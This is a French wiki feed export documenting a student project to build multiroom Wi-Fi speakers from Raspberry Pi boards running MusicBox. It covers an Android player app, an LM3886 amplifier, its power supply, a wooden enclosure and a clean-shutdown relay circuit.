Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;***REVISION B*** :&amp;lt;br&amp;gt;&lt;br /&gt;
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : &amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DriverButtonsREVB_Schematics.png|500px]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_3.png&amp;diff=27490</id>
		<title>Fichier:Principe Alim 3.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_3.png&amp;diff=27490"/>
				<updated>2016-02-21T17:06:34Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : a téléversé une nouvelle version de « Fichier:Principe Alim 3.png »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_2.png&amp;diff=27489</id>
		<title>Fichier:Principe Alim 2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_2.png&amp;diff=27489"/>
				<updated>2016-02-21T17:06:20Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : a téléversé une nouvelle version de « Fichier:Principe Alim 2.png »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_1.png&amp;diff=27487</id>
		<title>Fichier:Principe Alim 1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Principe_Alim_1.png&amp;diff=27487"/>
				<updated>2016-02-21T17:05:30Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : a téléversé une nouvelle version de « Fichier:Principe Alim 1.png »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27134</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27134"/>
				<updated>2016-02-13T23:49:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Circuit ON/OFF */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
